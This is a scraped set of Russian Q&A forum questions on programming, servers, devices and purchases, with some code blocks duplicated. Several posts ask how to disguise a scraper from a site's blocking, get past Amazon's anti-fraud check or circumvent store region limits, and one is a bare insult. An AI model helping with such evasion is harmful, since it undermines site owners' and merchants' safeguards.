rval, next_pos = action(m, context)
File "/usr/lib/python2.6/json/decoder.py", line 219, in JSONArray
raise ValueError(errmsg("Expecting object", s, end))
ValueError: Expecting object: line 1 column 158 (char 158)
если сделать print(res) то выводит:
[[["привет","hi","privet",""]],[["abbreviation",["Гавайи"]],["interjection",["привет","эй","ну","салют","здор `ово"]]],"en",,[["привет",[5],1,,1000,0,1,0]],[["hi",4,,,""],["hi",5,[["привет",1000,1,]],[[0,2]],"hi"]],,,,21]
Как утихомирить кулер на процессоре?
Я привык смотреть видео на айфоне с помощью программки Air Video. Работает она следующим образом. «Серверная» часть стоящая на ПК вживую конвертирует видео в MP4 и по WiFi транслирует его на телефон. Все замечательно работает и устраивает меня за исключением завываний системного блока. Система основана на материнской плате Gigabyte GA-P35-DS3L.
Можно ли как-нибудь повысить порог выхода кулера на высокие обороты или как-то оптимизировать его работу. Работает он ужасно, секунд на пять начинает выть потом на 10 утихает, и все повторяется снова.
Настройка Rails под Apache
Всем привет.
Поставил rvm, всё отлично. Сделал rails new example.
Дальше, по идее, надо кинуть .htacces в public с примерно таким содержанием:
AddHandler fcgid-script .fcgi
RewriteEngine On
RewriteRule ^$ index.html [QSA]
RewriteRule ^([^.]+)/!$ $1.html [QSA]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
ErrorDocument 500 "Application error Application failed to start properly"
И прописать /public как DocumentRoot.
Но проблема вот в чем: dispatch.fcgi (и dispatch.cgi тоже) отсутсвуют. Где их взять?
Софт: Ubuntu Server 10.04 64-bit, Ruby 1.9.2, Rails 3.0.3 и вмеру кривые руки.
RewriteEngine On
RewriteRule ^$ index.html [QSA]
RewriteRule ^([^.]+)/!$ $1.html [QSA]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
ErrorDocument 500 "Application error Application failed to start properly"
SVN: как сравнить рабочую копию с репозиторием?
Мне бы хотелось видеть только список файлов, которые изменены, добавлены и т. д., а не само то, что было изменено (svn diff) в сравнении с заданной ревизией.
svn diff -r HEAD вывалиает тонны информации, которую сложно переварить.
svn status показывает только изменения относительно оригинального варианта данной рабочей копии (т. е. не относительно какой-то ревизии в репозитории).
svn update не поддерживает --dry-run
В общем, мне нужно что-то похожее на svn status, но сравнивающее текущую рабочую копию с ревизией репозитория (я хочу сравнивать с головной).
Сколько листал ман по SVN, никак не могу найти решение :-/
Система мониторинга для ec2 linux инстансов
Нужна система мониторинга (и, желательно, оповещения), вроде zabbix, которая может автоматически добавлять сервера для мониторинга:
используется auto-scale фича Amazon ec2, потому новые сервера появляются сами из одного и того же ami. Необходимо, чтобы новые сервера централизированно мониторились до момента их уничтожения, что происходит автоматически.
Какие системы с такими возможностями вы можете посоветовать?
Как разрешить расхождения гайдлайнов мобильной платформы и бренд буков заказчика?
Вопрос от пользователя chakravaat, который не может его опубликовать в виду реал лайфа :)
Как разрешить расхождения гайдлайнов мобильной платформы (Android, iOS, Windows Phone 7) и корпоративных бренд буков заказчика?
К примеру, в гайдлайне Windows Phone 7 написано, что при изменении цветовой схемы телефона, цвета приложения должны соответственно изменяться. А у заказчика ест фирменные цвета, которые он хотел бы видеть в приложении. Был ли у кого-нибудь опыт решения подобных проблем. Гугл не ответил.
Можно ли в Mono Develop для Mac писать GUI приложения под него же на C#?
Версия mono 2.4.2
Создаю новый solution -> C# проект. Смотрел документацию на офе, там видимо под линукс, т.к. нет ни дизайнера ни файлов вообще…
Общение с http-прокси через сокеты на Python?
Проблема проста — хочу передать POST-запрос через http-прокси в Python на сокетах, но или возникают различные ошибки SocketError, или код просто зависает на передаче (send/sendall) или приёме (recv/recvall) данных.
Скажите, в чём причина такого поведения (или, даже лучше, посоветуйте рабочий вариант)?
Clonezilla, восстановление образа на большую партицию?
Hola!
Есть вопрос касательно Clonezilla
Как восстанавливать образ на весь диск?
Допустим у меня есть образ, снятый с диска 40гб, есть новый комп с хардом в 80гб.
Как развернуть этот образ на весь диск, что бы итоговая партиция была 80гб.
Если это возможно конечно.
Как ограничить количество воркеров MongoDB?
Собственно, процесс mongod очень сильно параллелится, что обычно хорошо, но в моем случае начинает жрать всю память и от большой нагрузки иногда падает. Нужно как-то ограничить количество воркеров (или тред пул, что там у него), чтобы, скажем, больше 5 никогда не создавал и ставил остальных в очередь. Не могу найти параметр настройки.
А то получается вот так и сильно прожорливо:

Хотелось бы умерить пыл.
"Пробная" разработка под iPhone
День добрый!
Терзаю себя таким вопросом. Хочу попробовать написать что-нибудь под iPhone. МакОСи у меня нет. Покупать смысла тоже нет, а то, вдруг, окажется, что «не мое» это.
Один из вариантов — поставить Хакинтош на свой PC. Рассматриваю его как резервный.
Какие еще бывают варианты?
NoSQL СУБД для веб-сервера на VDS
Навеяно ответами к этому вопросу. Оказывается для MongoDB крайне желательно выделять отдельный сервер, т. к. память он отдавать не желает., что может быть чревато для других приложений.
В связи с этим вопрос — какую СУБД лучше поставить, чтобы её аппетиты до памяти можно было ограничивать. Желательно максимально близкую к Mongo, то есть свободная схема объектов/документов, но с разделением их на коллекции.
Спасибо.
Upd.: OS — Debian 6.0, nginx+php-fpm+passenger+mysql
Библиотека для построения time series графиков по большому объему данных?
Порекомендуйте C/C++/Python библиотеку для построения time series графиков так же просто, как это позволяет делать dygraphs, но значительно быстрее. Объем данных большой — миллионы записей, время по оси X — с точностью до миллисекунды.
Книга "Python в системном администрировании UNIX и Linux"

www.ozon.ru/context/detail/id/4220809/
Кто-то читал?
Сейчас ищу хорошую литературу по Python. Интересует разработка несложных приложений для автоматизации рутинных админских задач (мониторилки, бекапы, парсинг логов). Грубо говоря, как использовать python в качестве более продвинутой альтернативы bash-скриптов.
Желательно побольше примеров.
По названию книга подходит идеально, но отзывы о ней какие-то печальные.
Может кто-то подбодрит хорошими отзывами, или посоветует что-то более толковое.
Почта mail.com на iphone — отправка писем
У меня два почтовых ящика — mail.com и yahoo.com, пользуюсь ими через почтовую программу в айфоне.
Оба ящика бесплатные.
Письма получаю, а отправить почту с помощью mail.com с айфона не могу — выдается сообщение о том, что «сервер не поддерживает ретрансляцию» и мое письмо остается висеть в исходящих.
С yahoo проблем нет и с компьютера письма из ящика на mail.com отправляются.
Читаю про ретрансляцию, не очень представляю себе, как ее увязать с отказом отправки писем и что с этим делать.
Пожалуйста дайте совет, как устранить проблему.
Upd: Пошла в настройки mail.com, увидела, что пересылка и pop позиционируется как возможность для владельцев premium mail.
Купила premium mail — все равно не отправляются письма.
Upd2: Решение найдено!
Возможно, будет кому-то полезно, т.к. решения этой проблемы я не нашла в интернете.
Решила снести эту учетную запись в app.Mail и завести заново.
При получении подтверждения сервера увидела, что imap там America OnLine — то есть AOL!
Завела учетную запись в app.Mail как AOL, только логин указывала везде @mail.com.
Все заработало, письма отправляются, ура!
Теперь подожду, пока закончится премиум-аккаунт и проверю, будет ли работать отправка на бесплатном ящике.
Что касается настроек, на mail.com указаны сервера imap.mail.com и pop.mail.com, об AOL не упоминается.
И если действовать по инструкции на сайте — отправка писем не работает.
Не планирует ли amazon ввести фичу: бесплатная электронная версия в подарок к печатному варианту книги?
Искал вышла ли Spring in Action 3rd edition и наткнулся на сайте manning на интересное предложение www.manning.com/walls4/. Купив у них книгу в бумажном варианте, электронный получаешь бесплатно.
система тегов на MongoDB
Можно ли из документов вида
{...,
tags: ['php','nosql',...]
}
… выбирать все уникальные значения массива tags одним запросом?
tags: ['php','nosql',...]
}
Как обменять один раз без головной боли идентификации кошелька деньги на Вебмани
В украине яндекс.деньги можно сказать бесполезны. Как мне себе помочь?
SVN: удалить файл из версионного контроля
Но не из рабочей копии.
Такое возможно?
Команда svn delete (svn rm), насколько я понял по руководству по SVN, подготавливает файл к удалению, а затем при up-е обязательно удаляет так же файл из рабочей копии.
Можно ли сделать так, чтобы SVN просто начал игнорировать конкретные файлы? (удалил их из репозитория, но не затрагивал их при этом в рабочих копиях)
Что можно использовать для построения "цепочок друзей" кроме mongodb?
Взял за основу habrahabr.ru/blogs/nosql/88246/ и потихоньку начал делать свою реализацию с помощью mongodb. Но недавно узнал из habrahabr.ru/qa/4735/ что mongodb может «отожрать» всю память на сервере и не отдавать её и вообще не заточен для использования на одном сервере (каюсь, как обычно, плохо читал документацию). Что можно использовать на небольшом проекте (18000 пользователей, 250 онлайн в пике)?.. Желательно что бы у дб было расширение для php.
IPhone и почтовый сервер с шифрованием?
Настроил в организации, в которой сейчас работаю, почтовый сервер (с Б&Ш, как полагается). Проблема в том, что с ним прекрасно работают все известные мне адекватные почтовые клиенты (Thunderbird, Evolution, Roundcube), но не работает iPhone.
Конфигурация такая:
SMTP — Postfix 2.7 с авторизацией и обязательным TLS шифрованием:
smtpd_use_tls = yes
smtpd_tls_auth_only = yes
Ок, на попытку приконнектиться по 25 порту со включённым SSL iPhone мне бодро сообщил, что мой сервер не поддерживает авторизацию (!). Краткий гуглёж показал, что проверка доступных способов подключения к серверу у iPhone тупая, как у кирпича, поэтому на 25 порту он ни в жизнь не приконнектиться. Ладно, не проблема — перенастроил сервер, активировал 587 порт и вот оно чудо: iPhone с абсолютно теми же параметрами без всяких ошибок смог соединиться с сервером. Как номер порта влияет на авторизацию и шифрование — ума не приложу, сервер по обоим портам работает идентично.
И вопросов бы не возникло, если бы не IMAP. Тут у меня стоит Dovecot, опять же, с включённым TLS шифрованием. Как водится, iPhone решил быть оригинальным и на 143 порту коннектиться не стал. Ладно, не вопрос — активировал на сервере устаревший SSL (imaps) и указал iPhone использовать 993 порт. iPhone к серверу подсоединился и даже втянул все письма. Один раз. После этого он неизменно сообщает о том, что сервер не найден и подсоединиться невозможно. Изредка таки соединяется и втягивает как минимум заголовки новых писем, но очень редко. Причём от соединения с интернетом ничего не зависит — и WiFi, и 3G — одна фигня. Логика подсказывает, что у айфона стоят какие-то жутко заниженные таймауты на некоторые операции, поэтому он не дожидаясь ответа рапортует о недоступном сервере. Краткий гуглёж опять-таки показал, что проблема известна давным-давно и касается не только моего корп. сервера, а даже серверов гугла. Проблему уже раза два минимум решали, судя по рапортам эппла, но как показали мои пляски с почтовым сервером — воз и ныне там. Найденное мной решение — использовать POP. Мне это по понятным причинам не подходит полностью.
Внимание вопрос: у меня есть полный доступ к серверам и единственная задача — заставить работать iPhone с полной авторизацией (и IMAP, и SMTP) и полным шифрованием. Софт на серверах (Postfix+Dovecot) я менять не могу, но настроить его могу как угодно. Что, соббсно делать? Куда хоть копать? iPhone вроде как с свежей прошивкой (что-то вроде 4.3.2, точно 4.x, дальше не помню)
Scrapy — Python
При парсинге одного сайта на битрикс через некоторое время происходит возврат «400» ошибки от сервера. Кто-нибудь занимался им и может подсказать как более хитро маскироваться под пользователя?
Интервал между запросами поставил в 2 секунды, а результат всегда один и тот же — 200 элементов и 400 ошибка
Возможность играть PS3 против PC?
Играю уже пару лет в игры купленные через Steam. Товарищ играет на PS3.
Задача: Сразиться в Battlefield: Bad Company 2 между собой.
Реально ли играть на одном сервере с разных платформ?
Как лаконично получить строку из списка int'ов
Есть список int'ов, нужно получить строку вида «1,3,5,12», но так чтобы код был лаконичен (в одну строку).
a = [1, 3, 5, 12]
str_ =…
Как изменить страну при регистрации в appstore?
Купил карточку на 15 долларов, но в апсторе не принимается, пишет что на моей территории эта карточка не работает. Как зарегистрировать аккаунт американский? При создании нового аккаунта сейчас пишет по умолчанию Россия и не редактируется.
Книги по PyQt
Здравствуйте, Хабровчане!
Не подскажите ли Вы мне, существуют ли в продаже (допустим, в Москве) книги по PyQt?
Если же такового нет, то может быть есть достойные альтернативы Rapid GUI Programming with Python and Qt?
Как зарегистрироваться в Windows MarketPlace из Украины?
Собственно, вопрос в заголовке. Как можно пройти регистрацию, если есть подтвержденный аккаунт Dreamspark, предоставляющий бесплатный доступ к MarketPlace, но страна отсутствует в списке поддерживаемых?
Даже если ввести на этапе регистрации страну — Россию, то как потом пройти GeoTrust проверку, которая потребует заполнения формы и печатей от госучреждения страны?
Многопользовательский сервер python
Доброе время суток, в ВУЗе дали задание сделать отказоустойчивую систему. Я предпочел написать ее на питоне.
Но так как язык для меня новый, второй день на нем пишу возникают вопросы:
Как создать приложение-сервер, которое будет работать одновременно с двумя или более клиентами, плюс альтернативный (для отказоустойчивости) второй сервер.
Т.е. примерно так:
Альтернативный <----------> Основной
сервер сервер
/ | \
Клиент Клиент Клиент
Что-то читал про twisted, что-то про select, но в конце концов так и не понял как и что.
Вот мой быдлокод сервера:
# -*- coding: cp1251 -*-
import socket, string, threading, sys
def sync(sock):
sock.send('sync ok!')
def alt(num):
print """
====================
AltServer thread ok
====================
"""
def listen(port, first = False, num = 0):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind(("localhost", port))
while 1:
print "Listen...", port
print "Thread: ", threading.currentThread(), " Num: ", num, "\n"
srv.listen(1)
global sock
sock, addr = srv.accept()
while 1:
rec = sock.recv(1)
if not rec:
break
else:
if (first):
while 1:
num = sock.recv(16)
if not num:
break
else:
print "Number rcvd success! (", num ,")"
sock.send("ok")
proc2 = threading.Thread(target=listen, name="cli2", args=[30001, False, num])
proc3 = threading.Thread(target=listen, name="cli3", args=[30002, False, num])
proc4 = threading.Thread(target=alt, name="altserver", args=[num])
proc2.start()
proc3.start()
proc4.start()
else:
sock.send(num)
status = sock.recv(16)
while 1:
if not status:
break
else:
if (status == "ok"):
sync(sock)
else:
sync(sock)
print "error, pack:", status
break
print "From %s:%s:" % addr, rec
sock.close()
def main():
proc1 = threading.Thread(target=listen, name="cli1", args=[30000, True])
proc1.start()
main()
sys.exit(0)
Сама суть программы — расчет числа Фибоначчи.
Клиент, который подключается первым отправляет введенное пользователем число (номер по порядку числа Фибоначчи), затем сервер отправляет это число на остальные подключенные клиенты, затем каждый клиент считает последующую итерацию, и отправляет ее на сервер, сервер сравнивает результаты, и использует принцип голосования (если какой-то клиент отправил неожиданные данные, то его ответ считается неверным, это записывается в лог и клиент принудительно отключается). Стоит учесть отказ основного сервера, если это произошло, то клиенты должны автоматически подключится к альтерантивному серверу и продолжать вычисление.
# -*- coding: cp1251 -*-
import socket, string, threading, sys
def sync(sock):
sock.send('sync ok!')
def alt(num):
print """
====================
AltServer thread ok
====================
"""
def listen(port, first = False, num = 0):
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind(("localhost", port))
while 1:
print "Listen...", port
print "Thread: ", threading.currentThread(), " Num: ", num, "\n"
srv.listen(1)
global sock
sock, addr = srv.accept()
while 1:
rec = sock.recv(1)
if not rec:
break
else:
if (first):
while 1:
num = sock.recv(16)
if not num:
break
else:
print "Number rcvd success! (", num ,")"
sock.send("ok")
proc2 = threading.Thread(target=listen, name="cli2", args=[30001, False, num])
proc3 = threading.Thread(target=listen, name="cli3", args=[30002, False, num])
proc4 = threading.Thread(target=alt, name="altserver", args=[num])
proc2.start()
proc3.start()
proc4.start()
else:
sock.send(num)
status = sock.recv(16)
while 1:
if not status:
break
else:
if (status == "ok"):
sync(sock)
else:
sync(sock)
print "error, pack:", status
break
print "From %s:%s:" % addr, rec
sock.close()
def main():
proc1 = threading.Thread(target=listen, name="cli1", args=[30000, True])
proc1.start()
main()
sys.exit(0)
Юристам или закон о ЗПП?
26 декабря прошлого года, сдал в сервисный центр Sony города Воронеж игровую приставку PS3. В течении двух месяцев специалисты центра отвечали (по телефону) — ждём, когда приставка придёт из Москвы. 26 февраля — специалист оттуда же сказал, что отправки в Москву ещё вовсе не было. На резонный вопрос «почему» ответили, что пытались починить своими силами, но ничего не вышло. 1 марта будут отправлять. Сломан привод, определить не сложно и без диагностики. Ждать ещё пару месяцев уже не хочется, вопрос можно ли что-то сделать, помимо отказа от ремонта? К примеру, чтобы ремонт выполнил недобросовестный сервис за свой счёт.
P.S. На руках, только квитанция с датой сдачи консоли в ремонт.
Ремонт не гарантийный. Гарантия закончилась примерно год назад.
HTC HD2, iPhone?
Привет, Хабр.
Такая ситуация. У меня сейчас HTC HD2, всё нормально, всё устраивает… Но на этой неделе я наконец-то получил права, и появился новый источник вливания денег :)
В связи с этим вопрос. Как вы думаете, будет ли целесообразно менять HD2 на Айфон 3G\3GS? смогу ли я после HD2 и его огромного экрана пользоваться более мелким у iPhone?
Спасибо за отзывы!
Вопросы на собеседовании программисту Python
Какие вопросы задавать программисту Python, что бы оценить его знания?
Посоветуйте FullHD видеокамеру
Всем здравствуйте.
Подбираю хорошую бытовую FullHD видеокамеру.
На каком накопителе следует брать: на HDD или на flash? Как жесткий диск реагирует на встряски и постоянное ношение?
Из того, что подходит по характеристикам и имеет хорошие отзывы:
— Sony HDR-XR350E, 1/4" EXMOR R CMOS 4,5 мм, HDD
— Sony HDR-CX550E, 1/2.9'' EXMOR R CMOS 6,3 мм, Flash
— Sony HDR-XR550E, 1/2.9" EXMOR R CMOS 6,3 мм, HDD
Последние две отличаются только типом накопителя.
Посоветуйте варианты по теме.
Заранее спасибо.
Библиотека Python для работы с PDF
Посоветуйте библиотеку Python для создания PDF. Поддержка русского. Какие плюсы/минусы.
Нашел парочку, но хотел бы услышать ваши предложения.
Также интересна библиотека для парсинга PDF. (умеющая создавать или нет — без разницы, так как для другого проекта)
Symfony2, отзывы и мнения?
Добрый день!
Хочется услышать мнения людей, использующих symfony2.
Каковы впечатления?
Насколько актуальна документация (API, как я понял, заморозили совсем недавно)?
Пробовали ли UserBundle и BaseApplicationBundle?
Спасибо.
Как правильно публиковать проект из SVN?
Есть проект на SVN, есть вебсервер (на том же сервере, но к этому лучше не привязываться). По пост-коммит триггеру проект публикуется на вебсервер.
Пока сделал через svn update, минусы — директории ".svn" повсюду. В общем-то не проблема для тестового сервера, да и можно запретить в .htaccess, но все равно получается некрасиво.
Подсказали вариант svn export, однако в этом случае будут перезаписываться все файлы проекта при каждом коммите, что тоже не очень правильно (особенно при большом кол-ве разработчиков и частом коммите).
Собственно, вопрос: может быть есть более разумный способ публиковать проект? В идеале бы получить что-то вроде пофайлового diff'а: заменить этот, этот и этот файл, удалить этот, этот и этот. Тогда можно и к внешнему ФТП-серверу привязать без полной загрузки туда проекта каждый раз.
Лицензия на MongoDB?
Кто разбирается в лицензиях, объясните пожалуйста:
1) Можно ли использовать MongoDB в коммерческом продукте?
2) Можно ли распространять MongoDB как часть коммерческого продукта?
Как подтвердить virtual card для Amazon?
Здравствуйте!
Сложилась следующая ситуация — решили с одним товарищем (из Индии), что в качестве вознаграждения за мои труды он купит мне Amazon Gift Card на несколько сотен долларов. Он оплатил покупку в помощью виртуальной карты. Спустя пару часов Amazon прислал ему письмо, в котором попросил отправить ему факсом «statement of your credit card». Все письма с объяснениями они (Amazon), похоже, просто не читают… или это робот выпрашивает statement.
Каким образом можно подтвердить, что счет в банке у товарища реален, деньги — реальны, просто карточка — виртуальная и пробиться через антифрод Amazon'a?
Всем заранее спасибо за любую помощь!
Можно ли отправить магнит по почте?
Провожу конкурс и разыгрываю магниты на холодильник. Можно ли отправить по почте, например, 100 писем с магнитами. В каждом конверте по 1 магниту. Не противоречит ли это каким-нибудь правилам или законам?
И как лучше это сделать, чтобы письма не слиплись при отправке?
VisualSVN не видит один проект
Есть слюшн, в нём несколько проектов. Все они в SVN, из TortoiseSVN всё работает. А VisualSVN не видит один проект. Пункт «Add to Subversion» в контекстном меню проекта в студии активен, но по нажатию на нём ничего не происходит. Удалял проект с диска, заливал новый с svn — тоже самое. Перестанавливал VisualSVN — не помогает. Самое обидное, что на других компах с этим же проектом всё ок. Может кто сталкивался.

Студия 2008 PRO, VisualSVN 2.0.5
Как перенести купленные приложения с iPhone в iTunes
Купил приложения с айфона через аппстор, теперь когда пытаюсь синхронизировать их, iTunes говорит что он затрет все приложения на телефоне и оставит только те что есть на компьютере, как сделать так что бы iTunes взял приложения с айфона при синхронизации а не из своей коллекции?
Выбор фотоаппарата до 7000р
Помогите с выбором фотоаппарата.
Надо чтобы было приемлимое качество фотографий при не очень хорошем освещении, и что-то вроде Nikon L110 Деньги ограничены строго 7000р.
JSONP в UserJS для Chrome
Подскажите как реализовать JSONP в UserJS для Chrome? Я так понимаю что расширения не имеют доступ к глобальному объекту?
1) Т.е невозможно объявить myCallback, чтобы скрипт возвратил myCallback(JSON)
Получить доступ к возвращаемому скриптом:
2) callbackVar = JSON, чтобы была возможность удалить globalObj[callbackVar], а также возможность по таймауту выдать сообщение об ошибке
3) ну или var callbackVar = JSON
также не получается.
Нужно перенести UserJS из Оперы.
Как добавить в доктрины на Симфони отображаемые заголовки полей?
Тут в чем смысл. Создаю я доктрину, генерируется модель и формы. Но везде в HTML в качестве обозначений полей используется имя поля в БД. А я хочу вместо phone, например, писать «Телефон». Как это сделать?
Вообще, есть плагины какие-то для использования дополнительных свойств доктрин, чтобы описание для поля указывать, иконку и т. д.?
Как юр. лицо может платить Amazon?
Хабравчане, привет, случился у меня затык нетехнического плана, выручайте.
Понадобилось нам воспользоваться Amazon SES, но вот в способах оплаты только кредитные карты. В нашей бухгалтерии мне сказали, что платить картой в валюте и без договора мы не можем ибо валютное законодательство и бла-бла-бла.
Есть ли реселлеры AWS в России? Может какие-нибудь другие пути оплаты?
как запустить pyquery с python 3.1?
скачал pyquery, пробую установить:
python3 setup.py install
получаю:
ImportError: No module named setuptools
а сам setuptools — pypi.python.org/pypi/setuptools#files — вроде есть только для 2.7
может я что-то делаю не так?
Восстановление оригинального состояния системы при каждой загрузке
Какие посоветуете программы для восстановления оригинального состояния винды, кроме акрониса.
Т.е. поставил систему, установил прогу, нажал «запомнить» — прога все считала и при каждой загрузке загружалось это «записанное» состояние системы, настройки, файлы и все прочее не запоминалось.
Как облегчить жизнь конечным пользователям python-программ?
Здравствуйте, Хабровчане!
Представим такую ситуацию: Мы имеем программу написанную на python с использованием кучи библиотек (к примеру трёх) и хочется дать эту программку другу попользоваться. А у друга на компьютере, допустим, ни Python'а, ни библиотек и в помине нет. Можно ли как-нибудь скомпоновать всё это дело так, что бы облегчить ему установку всех компонентов и запуска программы?
У кого-нибудь работает тетеринг на iphone 4 с Мегафоном?
Спрашиваю в связи с тем, что вышла прошивка 4.3, которая должна поддерживать Wi-Fi tethering.
У меня данной опции нет, видимо потому же, почему нет тетеринга.
На 3GS все работало с тем же номером.
Час мучил поисковики, вообще ничего по теме.
Создание объекта класса-потомка в Doctrine по известному полю type (column_aggregation)
Есть проект на Symfony (1.4) + Doctrine (1.2)
В проекте следующая архитектура классов: AbstractProduct, от него унаследованы AlphaProduct, BetaProduct и GammaProduct классы, используя column_aggregation и поле 'type' для различения классов.
В одном из контроллеров мне необходимо создать новый объект по заранее известному типу. Т.е. (к примеру) если тип 1 — надо создать AlphaProduct, 2 — BetaProduct и т.д. Т.е. создать дочерний объект нужного типа по известному типу.
На данный момент это выглядит так:
$classname = 'AbstractProduct';
foreach (Doctrine::getTable('AbstractProduct')->getOption('subclasses') as $subclass) {
$inheritanceMap = Doctrine::getTable($subclass)->getOption('inheritanceMap');
if ($inheritanceMap["type"] == $type) {
$classname = $subclass;
break;
}
}
$this->product = new $classname();
Но идея сканить все подклассы в поиске нужного мне очень не нравится. В Doctrine 2 эта задача решается проще. Но можно ли как-то решить ее в Doctrine 1?
$classname = 'AbstractProduct';
foreach (Doctrine::getTable('AbstractProduct')->getOption('subclasses') as $subclass) {
$inheritanceMap = Doctrine::getTable($subclass)->getOption('inheritanceMap');
if ($inheritanceMap["type"] == $type) {
$classname = $subclass;
break;
}
}
$this->product = new $classname();
Какой Python-фреймворк вы используете под Google App Engine?
Поделитесь, пожалуйста, опытом в использовании Python-фреймворков под Google App Engine. Больше склонен к микро-фреймворкам, но выслушаю все мнения, все «за» и «против».
Так же было бы интересно узнать выбор шаблонизатора, с которым вы используете фреймворк.
Предлагаю давать ответы в формате:
1) Фреймворк
2) Шаблонизатор
3) Все «за» (что нравится, чем лучше остальных?)
4) Все «против» (что не нравится, чем хуже остальных?)
До какого размера CF-карточки поддерживает Canon 350D?
Собирался купить 16GB CF-карточку для Canon 350D, но продавец намекнул, что могут быть проблеммы с таким «большим» объемом. Решил погуглить, но что-то без результатов. Единственное упоминание про объем на dpreview:
The memory card slot supports 2GB and higher CompactFlash Type I and II cards.
Но все равно ни слова про верхний лимит.
Владельцы, откликнитесь
1. Увидит ли камера полный объем 16GB карточки без проблемм?
2. Есть ли ограничения на объем/тип карточек у этой камеры? Если есть, то какие?
Subprocess не хочет ждать wget?
Пишу скрипт на python, для загрузки приличного списка файлов. Скрипт хитрый, поэтому просто список файлов скормить wget'у не получается.
Запускаю через:
p = subprocess.Popen(cmd.split(),shell=True)
p.wait()
это соответственно происходит в цикле, но не хочет wait ждать пока wget скачает файл, соответственно появляется много параллельных загрузок. Как быть?
p = subprocess.Popen(cmd.split(),shell=True)
p.wait()
Получение почты скриптом с сохранением вложений
Существуют ли готовые решения для Perl (либо Python, Ruby) для чтения почты с возможностью извлечения и сохранением вложений?
Сколько Украинцев используют iPhone?
Уважаемые хаброжители, кто-нибудь, когда-нибудь видел статистику по количеству пользователей iPhone в Украине?
Перерыл весь нет, ничего подобного не нашел.
Заранее благодарен!
Решение Без двух нулей подряд
Требуется посчитать количество последовательностей длины nn, состоящих из цифр от 00 до k−1k−1 таких, что никакие два соседних элемента последовательности не равны нулю одновременно.
Входные данные
Заданы два натуральных числа NN и KK (2≤K≤102≤K≤10; 2≤N2≤N; 4≤N+K≤184≤N+K≤18).
Выходные данные
Необходимо вывести целое число — ответ на задачу.
Примеры
Ввод 2 2
Вывод 3
Ввод 3 9
Вывод 712
1352   0   00:51, 26th June, 2021
Импортирование xls файлов в базу данных psql на python
Добрый день! Как можно через python импортировать эксель таблицу в PostgreSQL? Изначально нам дан url по которому находится эксель таблица, и нужно чтобы это таблица была в бд postgreSQL, т.е. по url коду данные импортируются в базу данных PostgreSQL, как это можно сделать?
Программа для вычисления периметра треугольника по трём сторонам на Python
Программа для вычисления периметра треугольника по трём сторонам на Python. Написать исключение для генерации сообщения о невозможности выполнения такой операции (сумма двух любых сторон должна быть больше 3-й).
p.s - 1)контролируя состояние потоков ввода/вывода, 2)при возникновении ошибок, связанных с корректностью выполнения математических операций, генерировать и обрабатывать исключительные ситуации, 3) использовать raise.
Если знаете, как это должно выглядеть, подскажите пожалуйста.
TreeView печать в PDF
Почему список созданный руками data, преобразуется в PDF, а список созданный при помощи append нет?
data = [[4, '', 5, 6, 7], [8, 9, '', 10, 11]] # Преобразуется в PDF
t = [] # Выдает ошибку, см. ниже
def pdf(spacing=1):
for line in tree.get_children():
for value in tree.item(line)['values']:
t.append(value)
print(f't={t}')
# Разделяет список таблицы на списки по строкам
chunk_size = 5 # кол-во элементов в одной строке
new_list = [t[x:x + chunk_size] for x in range(0, len(t), chunk_size)]
print(f'new_list={new_list}')
pdf = FPDF()
pdf.set_font("Arial", size=12)
pdf.add_page()
col_width = pdf.w / 4.5
row_height = pdf.font_size
for row in new_list:
for item in row:
print(f'item={item}')
pdf.cell(col_width, row_height * spacing,
txt=str(item), border=1)
pdf.ln(row_height * spacing)
file_name = en1.get()
print(f'file_name={file_name}')
pdf.output(f'{file_name}.pdf') # Наименование файла
Ошибка:
t=['Скамейка 1', '', '', '', '', 'Труба d20х2000', '2.0', 'шт', '3.0', '6.0', 'Уголок 40х40х3х2000', '4.0', 'шт', '5.0', '20.0']
total=26.0
Exception in Tkinter callback
Traceback (most recent call last):
File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tkinter/__init__.py", line 1892, in __call__
return self.func(*args)
File "/Users/ulia/Documents/Курс Python/Мои программы/Скамейка/1 таблица 3 без базы.py", line 151, in pdf
pdf.output(f'{file_name}.pdf') # Наименование файла
File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 1065, in output
self.close()
File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 246, in close
self._enddoc()
File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 1636, in _enddoc
self._putpages()
File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 1170, in _putpages
p = self.pages[n].encode("latin1") if PY3K else self.pages[n]
UnicodeEncodeError: 'latin-1' codec can't encode characters in position 82-89: ordinal not in range(256)
new_list=[['Скамейка 1', '', '', '', ''], ['Труба d20х2000', '2.0', 'шт', '3.0', '6.0'], ['Уголок 40х40х3х2000', '4.0', 'шт', '5.0', '20.0']]
item=Скамейка 1
item=
item=
item=
item=
item=Труба d20х2000
item=2.0
item=шт
item=3.0
item=6.0
item=Уголок 40х40х3х2000
item=4.0
item=шт
item=5.0
item=20.0
file_name=Скамейка 1
Process finished with exit code 0
608   0   14:06, 7th December, 2021
дураки
Моя проблема в том что вы все ссссссумки
647   0   07:15, 27th December, 2021
Почему не запускается программа? Python + TKINTER
import os
from tkinter import *
import subprocess
from tkinter import ttk
path = "C:/Program Files/Organaizer"
m1 = "C:/Program Files/Organaizer/Monday/Registration"
m2 = "C:/Program Files/Organaizer/Monday/Literature"
m3 = "C:/Program Files/Organaizer/Monday/ITGS"
m4 = "C:/Program Files/Organaizer/Monday/Maths"
t1 = "C:/Program Files/Organaizer/Tuesday/Registration"
t2 = "C:/Program Files/Organaizer/Tuesday/English"
t3 = "C:/Program Files/Organaizer/Tuesday/Literature"
t4 = "C:/Program Files/Organaizer/Tuesday/CS"
t5 = "C:/Program Files/Organaizer/Tuesday/PE"
w1 = "C:/Program Files/Organaizer/Wednesday/Registration"
w2 = "C:/Program Files/Organaizer/Wednesday/CS"
w3 = "C:/Program Files/Organaizer/Wednesday/Psychology"
w4 = "C:/Program Files/Organaizer/Wednesday/English"
h1 = "C:/Program Files/Organaizer/Thursday/Registration"
